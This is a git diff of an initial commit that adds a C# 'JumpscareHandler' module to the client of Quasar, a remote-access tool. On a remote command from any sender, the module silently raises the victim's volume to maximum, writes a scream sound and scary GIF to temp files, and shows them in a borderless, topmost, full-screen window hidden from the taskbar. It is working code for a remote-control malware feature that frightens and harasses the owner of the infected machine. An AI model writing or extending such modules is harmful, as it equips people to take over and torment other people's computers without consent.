initial commit

2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
@@ -0,0 +1,106 @@
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Drawing;
+using System.IO;
+using System.IO.Compression;
+using System.Runtime.InteropServices;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+    public class JumpscareHandler : IMessageProcessor
+    {
+        [DllImport("user32.dll")]
+        private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
+
+        private const byte VK_VOLUME_UP = 0xAF;
+
+        private static void MaximizeVolume()
+        {
+            for (int i = 0; i < 50; i++)
+                keybd_event(VK_VOLUME_UP, 0, 0, 0);
+        }
+
+        public bool CanExecute(IMessage message) => message is DoJumpscare;
+        public bool CanExecuteFrom(ISender sender) => true;
+
+        public void Execute(ISender sender, IMessage message)
+        {
+            if (message is DoJumpscare js)
+                new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start();
+        }
+
+        private static byte[] GzipDecompress(byte[] data)
+        {
+            using (var input = new MemoryStream(data))
+            using (var gz = new GZipStream(input, CompressionMode.Decompress))
+            using (var output = new MemoryStream())
+            {
+                gz.CopyTo(output);
+                return output.ToArray();
+            }
+        }
+
+        private void RunJumpscare(DoJumpscare js)
+        {
+            MaximizeVolume();
+
+            string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav");
+            string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif");
+
+            try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { }
+            try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { }
+
+            Form form = null;
+
+            var uiThread = new Thread(() =>
+            {
+                try
+                {
+                    using (var player = new System.Media.SoundPlayer(wavPath))
+                        player.Play();
+
+                    Image gif = null;
+                    try { gif = Image.FromFile(gifPath); } catch { }
+
+                    form = new Form
+                    {
+                        FormBorderStyle = FormBorderStyle.None,
+                        WindowState = FormWindowState.Maximized,
+                        TopMost = true,
+                        BackColor = Color.Black,
+                        ShowInTaskbar = false,
+                    };
+
+                    if (gif != null)
+                    {
+                        var pb = new PictureBox
+                        {
+                            Image = gif,
+                            Dock = DockStyle.Fill,
+                            SizeMode = PictureBoxSizeMode.StretchImage,
+                        };
+                        form.Controls.Add(pb);
+                    }
+
+                    Application.Run(form);
+                }
+                catch { }
+            });
+            uiThread.SetApartmentState(ApartmentState.STA);
+            uiThread.IsBackground = true;
+            uiThread.Start();
+
+            // wait for form to be created, then close it after 2 seconds
+            Thread.Sleep(2500);
+            try
+            {
+                if (form != null && !form.IsDisposed)
+                    form.Invoke(new Action(() => form.Close()));
+            }
+            catch { }
+        }
+    }
+}